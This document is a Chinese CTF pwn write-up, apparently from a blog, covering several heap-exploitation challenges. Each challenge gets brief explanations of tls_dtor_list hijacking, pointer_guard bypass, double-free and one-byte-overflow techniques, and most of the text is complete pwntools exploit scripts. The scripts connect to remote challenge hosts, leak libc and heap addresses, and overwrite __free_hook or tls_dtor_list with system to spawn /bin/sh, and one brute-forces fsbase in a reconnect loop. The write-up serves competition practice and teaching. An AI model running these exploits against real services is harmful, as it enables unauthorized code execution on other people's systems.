debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('192.168.156.33',64624)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.31.so')
rl("0x")
libc_leak = int(p.recv(12),16)
lg("libc_leak",libc_leak)
libc_base = libc_leak-libc.sym['printf']
lg("libc_base",libc_base)
system = libc_base+libc.sym['system']
binsh = libc_base+next(libc.search('/bin/sh\x00'))
environ = libc_base+libc.sym['environ']
lg("environ",environ)
backdoor = 0x4012BE
fs = 0x1f35c0+libc_base
canary = fs+0x28
lg("canary",canary)
# sleep(1)
payload = '%7$s\x00\x00\x00\x00'+p64(libc_base+0x222f68)
# gdb.attach(p)
s(payload)
# pause()
# sleep(1)
payload = p64(backdoor)*2
sl(payload)

inter()

ptmalloc2_myheappro

image-20240416131405302

泄露libc以及heap_key和heap_base。打exit函数中的tls_dtor_list。

1
2
3
4
5
6
7
8
9
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};

static __thread struct dtor_list *tls_dtor_list;

可以看到,tls_dtor_list就是dtor_list的结构体指针,里面存放着一个dtor_list结构体的地址。
由此可知,dtor_list结构体中的func成员,其实是一个函数指针,而其中的obj成员就是其调用时的参数。
很显然,若我们可以劫持tls_dtor_list,在其中写入我们伪造的堆地址,使其不为空(绕过while (tls_dtor_list)),就能执行到func (cur->obj),而我们又可以控制伪造的堆块中prev_size域为system的相关数据(由于有指针保护,需要经过变形),size域为/bin/sh的地址(通过上一个堆块的溢出或合并后重分配),这样就能getshell

保护

1
2
3
4
5
ror    rax,0x11
xor rax,QWORD PTR fs:0x30
mov QWORD PTR fs:[rbx],rdx
mov rdi,QWORD PTR [rbp+0x8]
call rax

这操作主要是先进行循环右移0x11位,再与fs:0x30(tcbhead_t->pointer_guard)进行异或,最终得到的数据就是我们的函数指针,并调用。
因此,我们在之前所说的将func成员改成的与system相关的数据,就是对指针保护进行一个逆操作:先将system_addrpointer_guard进行异或,再将结果循环左移0x11位后,填入prev_size域。
然而,pointer_guard的值在TLS结构中(在canary保护stack_guard的下一个),我们很难直接得到它的值,但是我们可以通过一些攻击手段,往其中写入我们可控数据,这样就可以控制pointer_guard,进而绕过指针保护了。也可以通过爆破进行泄露,因为fs处保存的是fs,利用这个进行判断爆破。然后再劫持fs-88处的dtor_list为伪造的heap_chunk地址,即可getshell

利用条件

泄露heap_base、heap_key、libc_base、pointer_guard(fs+0x30)、以及能够修改fs-88处的内容。或者能够修改pointer_guard(fs+0x30)和fs-88为我们自己能够控制的值。

攻击payload

1
2
3
4
5
6
7
8
ROL = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

# 两次largebin attack改tls_dtor_list与pointer_guard

fake_pointer_guard = heap_base + 0x17b0
edit(0, b'a'*0x420 + p64(ROL(libc.sym['system'] ^ fake_pointer_guard, 0x11, 64)) + p64(next(libc.search(b'/bin/sh'))))

根据题目调试修改。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# debug = 1
# if debug:
# p = process('./pwn')
# elf = ELF('./pwn')
# # p = process('', env={'LD_PRELOAD':'./libc.so'})
# # gdb.attach(p)
# else:
# p = remote('10.213.13.228', 36179)
# elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(index,size,data):
rl(b">>> ")
sl(b'1')
rl(b"please input chunk_idx: ")
sl(str(index))
rl(b"Enter chunk size: ")
sl(str(size))
rl(b"Enter chunk data: ")
s(data)
def show(index):
rl(b">>> ")
sl(b'3')
rl(b"Enter chunk id: ")
sl(str(index))
def delete(index):
rl(b">>> ")
sl(b'2')
rl(b"Enter chunk id: ")
sl(str(index))
def exit():
rl(b">>> ")
sl(b'4')
num = 1
while True:
try:
print(f"第{num}次爆破!!!!")
# p = process('./pwn')
# elf = ELF('./pwn')
p = remote('192.168.156.33',43881)
add(0,0x10,'a')
delete(0)
add(1,0x10,p64(0x30)+p64(1))
show(0)
rl(b'\x01\x00\x00\x00\x00\x00\x00\x00')
heap_leak = uu32()
heap_key = heap_leak >> 12
lg("heap_key",heap_key)
heap_base = heap_key << 12
lg("heap_base",heap_base)

add(2,0x10,'a')
for i in range(8):
add(i+3,0x80,'a')
add(11,0x10,'a')
for i in range(8):
delete(i+3)
for i in range(4):
add(i,0x10,'a')
delete(11)
add(5,0x18,p64(0x10)+p64(1)+p64(heap_base+0x810))
show(11)
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak - 0x21ace0
lg("libc_base",libc_base)
fsbase = libc_base + 0x3b8740
lg("fsbase",fsbase)

xor_key = fsbase+0x30
lg("xor_key",xor_key)
tls_dtor_list = fsbase-88
lg("tls_dtor_list",tls_dtor_list)

add(0,0x10,'a')
delete(0)
add(1,0x18,p64(0x10)+p64(1)+p64(fsbase))
show(0)
tmp = u64(p.recv(8).ljust(8, b'\x00'))
if tmp == fsbase:
# pause()
print("Correct!!!")
lg("tmp",tmp)
add(0,0x10,'aa')
add(0,0x10,'aa')
add(0,0x10,'a')
delete(0)
add(1,0x18,p64(0x10)+p64(1)+p64(xor_key))
show(0)
pointer_guard = u64(p.recv(8).ljust(8, b'\x00'))
lg("pointer_guard",pointer_guard)

# p.close()
for i in range(8):
add(i,0x30,b'a')
# add(8,0x10,b'a')
add(8,0x10,b'a')
add(9,0x10,b'a')
add(10,0x10,'a')
delete(9)
add(11,0x18,p64(0x20)+p64(1)+p64(heap_base+0xc60))
for i in range(7):
delete(i)
delete(8)
delete(9)
for i in range(6):
add(i,0x30,b'a')
add(6,0x10,p64((tls_dtor_list-0x8)^heap_key))

ROL = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

add(0,0x30,p64(ROL((libc_base+libc.sym['system']) ^ pointer_guard, 0x11, 64)) + p64(libc_base+next(libc.search(b'/bin/sh'))))

add(1,0x10,p64(0)+p64((heap_base+0x980)))

rl(b">>> ")
sl(b'4')
inter()
num += 1
p.close()
except EOFError:
p.close()

由于fsbase会变化,所以需要爆破十六进制的第4,5两位。根据情况而论,虽然理论上是256次,但是事实可能会超过这个次数。

malloc_flag

在本地当前目录下键一个flag,这样程序才能运行,程序读取flag到申请的一个0x100的堆块中,申请出来利用程序show_content直接打印即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('10.213.13.228', 36179)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.31.so')
def add(name,size):
rl("请输入选项: ")
sl(b'1')
rl("请输入名字:")
sl(name)
rl("请输入大小 (十进制或十六进制):")
sl(str(size))
def show():
rl("请输入选项: ")
sl(b'3')
def show_content(name):
rl("请输入选项: ")
sl(b'4')
rl("请输入要查看内容的内存块名字:")
sl(name)
def delete(name):
rl("请输入选项: ")
sl('2')
rl("请输入要释放的名字:")
sl(name)
# gdb.attach(p)
for i in range(8):
add(str(i),0x80)
for i in range(7):
delete(str(i))
show_content('7')
r()
rl(b'\x0a')
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x1ecbe0
lg("libc_base",libc_base)
add('flag',0x100)
show_content('flag')

inter()

fastfastfast

利用UAF申请到bss段控制chunk指针的堆块,然后再通过printf.got泄露libc。

然后修改free_hook为system。即可getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('10.213.13.228', 27612)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.31.so')
def add(index,content):
rl(b">>> ")
sl(b'1')
rl(b"please input note idx")
sl(str(index))
rl(b"please input content")
s(content)
def show(index):
rl(b">>> ")
sl(b'3')
rl(b"please input note idx")
sl(str(index))
def delete(index):
rl(b">>> ")
sl(b'2')
rl(b"please input note idx")
sl(str(index))
# gdb.attach(p)
for i in range(10):
add(i,'aa')
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)

show(8)
rl(b"\n")
heap_leak = uu32()
lg("heap_leak",heap_leak)
heap_base = heap_leak-0x5a0
lg("heap_base",heap_base)

for i in range(7):
add(i,'a')

add(7,p64(0x4040C0))
add(8,'a')
add(9,'a')
add(10,p64(elf.got['printf'])+p64(heap_base+0x460))
show(0)
rl(b'\n')
libc_leak = uu64()
libc_base = libc_leak-libc.sym['printf']
lg("libc_leak",libc_leak)
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base+libc.sym['system']

add(11,'a')
add(12,'aa')
for i in range(7):
delete(i+2)
delete(11)
delete(12)
delete(11)
for i in range(7):
add(i,'/bin/sh\x00')
add(7,p64(free_hook))
add(8,'/bin/sh\x00')
add(9,'/bin/sh\x00')
add(10,'/bin/sh\x00')
add(11,p64(system))

delete(10)
inter()

one_byte

一个字节的溢出,修改chunk的size,然后利用堆重叠造成的UAF。泄露libc然后打free_hook。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('10.213.13.228', 31633)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(index,size):
rl(b">>> ")
sl(b'1')
rl(b"please input chunk_idx: ")
sl(str(index))
rl(b'Enter chunk size: ')
sl(str(size))
def show(index):
rl(b">>> ")
sl(b'3')
rl(b"please input chunk_idx: ")
sl(str(index))
def delete(index):
rl(b">>> ")
sl(b'2')
rl(b"please input chunk_idx: ")
sl(str(index))
def edit(index,content):
rl(b">>> ")
sl(b'4')
rl(b"please input chunk_idx: ")
sl(str(index))
sleep(0.1)
s(content)
# gdb.attach(p)
for i in range(7):
add(i,0x80)
add(7,0x18)
add(8,0x20)
add(9,0x20)
add(10,0x20)
add(11,0x20)
add(12,0x20)
for i in range(7):
delete(i)
edit(7,'a'*0x18+'\x91')
delete(8)
add(13,0x20)
show(9)
# rl(b"\n")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x1ecbe0
lg("libc_base",libc_base)
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
delete(12)
delete(10)
add(14,0x50)
edit(14,p64(0)*5+p64(0x31)+p64(free_hook))
add(15,0x20)
edit(15,'/bin/sh\x00')
add(16,0x20)
edit(16,p64(system))
delete(15)

inter()